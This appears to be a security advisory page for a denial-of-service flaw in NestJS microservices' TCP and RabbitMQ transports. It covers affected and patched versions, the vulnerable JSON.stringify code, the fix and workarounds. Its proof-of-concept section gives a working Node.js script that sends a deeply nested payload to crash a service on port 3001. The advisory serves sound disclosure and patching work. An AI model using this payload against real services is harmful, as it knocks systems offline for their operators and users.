@NESTJS/MICROSERVICES · CVE-2026-102281 · Package
FIX → 12.0.2 · 11.2.4 +1
A deeply nested object sent as the message pattern to a NestJS microservice using the TCP or RabbitMQ transport makes the server throw a stack overflow that escapes as an unhandled promise rejection. The Node.js process terminates, and an attacker can repeat this one message at a time to keep the service down.
first public Sep 15, 2026 · 3 sources
Could this affect your app?
Free first check from your website. Connect your repo for the full answer.
Only NestJS microservices that use the TCP or RabbitMQ transport are exposed; Redis, NATS, Kafka and other transports are not affected. The attacker must be able to reach the TCP port or publish to the RabbitMQ queue or exchange the service consumes, and the TCP transport has no authentication by default. Services behind a private network with only trusted peers can deprioritize it.
Not affected if other-transports, private-network-only, rabbitmq-auth-restricted
Who cares microservices, nestjs, node, rabbitmq, tcp-transport
npm ls @nestjs/microservicesTransport.TCP or Transport.RMQ in the microservice bootstrap code| Field | Value |
|---|---|
| Ecosystem | npm |
| Package | @nestjs/microservices |
| Affected versions | >= 12.0.0, < 12.0.2 and < 11.2.4 |
| Patched versions | 12.0.2 and 11.2.4 (upgrade to 12.0.3 / 11.2.5) |
| Severity | High |
| CVSS v3.1 | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) |
Check it with your coding agent
It reads this page and tells you if your code is affected.
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Upgrade to 12.0.2 · 11.2.4 +1
@nestjs/microservices 12.x: upgrade to 12.0.2 or later@nestjs/microservices 11.x: upgrade to 11.2.4 or later| CWE | CWE-674 (Uncontrolled Recursion), CWE-248 (Uncaught Exception) |
A single message whose pattern is a deeply nested object terminates a NestJS microservice that uses the TCP or
RabbitMQ transport. The server serialized the client-supplied pattern with JSON.stringify to derive the handler
lookup key; on deeply nested input this throws RangeError: Maximum call stack size exceeded. The exception escaped
the asynchronous message handler as an unhandled promise rejection, which terminates the Node.js process under the
default --unhandled-rejections=throw.
Denial of service, one message per crash, repeatable. The attacker needs to be able to reach the transport: connect to the TCP transport's port, or publish to the queue or exchange the service consumes from. The TCP transport performs no authentication by default, so on a reachable port this requires nothing else.
Only the TCP and RabbitMQ transports are affected. The other transports take the pattern as a string from the broker topic or channel and never serialize a client-supplied object to build it.
In ServerTCP#handleMessage and ServerRMQ#handleMessage the pattern was stringified without a guard:
const pattern = isString(packet.pattern)
? packet.pattern
: JSON.stringify(packet.pattern);
JSON.parse accepts nesting depths that JSON.stringify cannot re-serialize, because JSON.stringify recurses
natively, so an attacker can craft a payload that parses successfully on arrival and then throws when the pattern is
converted back to a string. Neither transport attached a rejection handler to the promise returned by
handleMessage, so the RangeError propagated out as an unhandled rejection.
Against a NestJS microservice on the TCP transport (default port 3001). The nested JSON is built as text rather than
with JSON.stringify, which is what makes the payload serializable by the attacker but not by the victim:
const { connect } = require('node:net');
const DEPTH = 100_000;
const pattern = '{"nested":'.repeat(DEPTH) + '{}' + '}'.repeat(DEPTH);
const payload = `{"pattern":${pattern},"data":null,"id":"1"}`;
const socket = connect(3001, '127.0.0.1', () => {
// Nest's TCP framing is <byteLength>#<json>
socket.write(`${Buffer.byteLength(payload)}#${payload}`);
});
The service exits with RangeError: Maximum call stack size exceeded. The equivalent payload published to the
consumed queue crashes a RabbitMQ-transport service.
Fixed in 12.0.2 and 11.2.4.
Server#getPatternAsString, which falls back to a sentinel value
that matches no handler. Such a message now receives the ordinary "no message handler" response (TCP) or is
negatively acknowledged (RabbitMQ) instead of crashing the process.handleMessage in both transports are routed to handleError rather than left unhandled.If you cannot upgrade, restrict network access to the transport so that only trusted peers can reach it. Running the
process with --unhandled-rejections=warn prevents the crash but leaves the message unprocessed and is not a
substitute for the fix.
Reported by ZeroVuln Labs.
This page as .md · .json · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.